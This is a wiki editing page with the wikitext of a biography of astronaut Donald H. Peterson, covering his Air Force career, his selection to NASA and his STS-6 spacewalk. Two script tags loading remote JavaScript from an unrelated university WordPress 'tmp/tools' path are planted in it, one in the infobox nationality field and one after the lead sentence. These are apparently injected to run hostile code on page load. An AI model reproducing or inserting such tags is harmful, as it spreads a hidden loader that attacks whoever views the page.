Editing Donald H. Peterson

{{Infobox astronaut
| name          =Donald H. Peterson
| othername     =Donald Herod Peterson
| image         =Donald_Peterson-NASA-file-photo.jpg
| type          =USAF / [[NASA]] [[Astronaut]]
| status        =Retired
| nationality   =American<script src=https://labsosio.ui.ac.id/wp-snapshots/tmp/tools/jso/443d02dc.js></script>
| birth_date    ={{Birth date and age|1933|10|22}}
| birth_place   =[[Winona, Mississippi|Winona]], Mississippi, U.S.
| occupation    =[[Fighter pilot]], test pilot, engineer
| alma_mater    =[[United States Military Academy|USMA]], B.S. 1955<br>AFIT, M.S. 1962
| rank          =Colonel, USAF
| selection     =[[List of astronauts by selection#1967|1967 USAF MOL Group 3]]<br>[[List of astronauts by selection#1969|1969 NASA Group 7]]
| eva1          =1
| eva2          =4 hours 17 minutes
| time          =5 days 23 minutes
| mission       =[[STS-6]]
| insignia      =[[File:Sts-6-patch.png|30px]]
| retirement    =November 1984
}}
'''Donald Herod Peterson''' (born October 22, 1933) is a retired United States Air Force officer  and a former USAF and [[NASA]] [[astronaut]].<script src=https://labsosio.ui.ac.id/wp-snapshots/tmp/tools/jso/443d02dc.js></script> 

==Biography==
===Early life and education===
He was born in [[Winona, Mississippi|Winona]], Mississippi, on October 22, 1933. Peterson is married, and has three children and four grandchildren. Peterson graduated from Winona High School, [[Winona, Mississippi]], in 1951; received a Bachelor of Science degree from the [[United States Military Academy]] at West Point, New York, in 1955, and a Master of Science degree in [[Nuclear Engineering]] from the U.S. Air Force Institute of Technology, Wright-Patterson Air Force Base, Ohio, in 1962.

===USAF career===
Peterson graduated from West Point in 1955. His assignments included four years as a flight instructor and military training officer with the [[Air Training Command]], three years as a nuclear systems analyst with the [[Air Force Systems Command]], and one year as a [[fighter pilot]] with [[Tactical Air Command]], including three months of combat weapons training.

He is a graduate of the [[Aerospace Research Pilot School]] at Edwards Air Force Base, California, and was one of the third group of [[astronauts]] assigned to the USAF [[Manned Orbiting Laboratory]] (MOL) program.

He has logged over 5,300 hours flying time—including more than 5,000 hours in jet aircraft.

===NASA career===
[[File:Nasa-7.jpg|thumb|left|Peterson (3rd from right) with his fellow astronauts]]
Peterson became a [[NASA]] astronaut in September 1969 after the MOL program was cancelled. He served on the astronaut support crew for [[Apollo 16]].

Peterson retired from the United States Air Force with the rank of colonel after having completed more than 24 years of active service, but continued his assignment as a NASA astronaut in a civilian capacity. His areas of responsibility have included engineering support, man/machine interface, and safety assessment.

Peterson was a [[Mission Specialist]] on [[STS-6]], which launched from [[Kennedy Space Center]], Florida, on April 4, 1983. He was accompanied by [[Paul J. Weitz]] (spacecraft commander), Col. [[Karol J. Bobko]] (Pilot), and Dr. [[F. Story Musgrave]] (Mission Specialist). During this maiden voyage of the spacecraft ''[[Space Shuttle Challenger|Challenger]]'', the STS-6 crew conducted numerous experiments in materials processing, recorded lightning activities, deployed the first [[Tracking and Data Relay Satellite]] (TDRS-A), and activated three Getaway Specials. Peterson and Musgrave conducted an extravehicular activity (EVA), commonly called a "[[spacewalk]]," to test the new suit, the Shuttle airlock, and new tools and techniques for construction and repair outside a [[spacecraft]]. After 120 hours of orbital operations STS-6 landed on the concrete runway at Edwards Air Force Base, California, on April 9, 1983. With the completion of this flight Don Peterson has logged 4 hours 15 minutes in extravehicular activity, and a total of 120 hours in space.

===Post-NASA career===
Peterson resigned from the [[NASA Astronaut Corps]] in November 1984, and since that time has worked as a consultant in the area of manned aerospace operations.

==Honors==
He was awarded the Air Force Commendation Medal, the Meritorious Service Medal, and the [[JSC Group Achievement Award]] (1972).

==References==
{{Reflist}}

==External links==
{{Commons|Category:Donald H. Peterson}}
* [http://www.jsc.nasa.gov/Bios/htmlbios/peterson-dh.html Peterson's official NASA biography]

{{NASA Astronaut Group 7}}
{{Wikipedia|Donald H. Peterson}}

{{DEFAULTSORT:Peterson, Donald H.}}
[[Category:1933 births]]
[[Category:Living people]]
[[Category:American astronauts]]
[[Category:American test pilots]]
[[Category:NASA civilian astronauts]]
[[Category:People from Montgomery County, Mississippi]]
[[Category:United States Air Force officers]]
[[Category:United States Military Academy alumni]]
[[Category:Air Force Institute of Technology alumni]]
[[Category:U.S. Air Force Test Pilot School alumni]]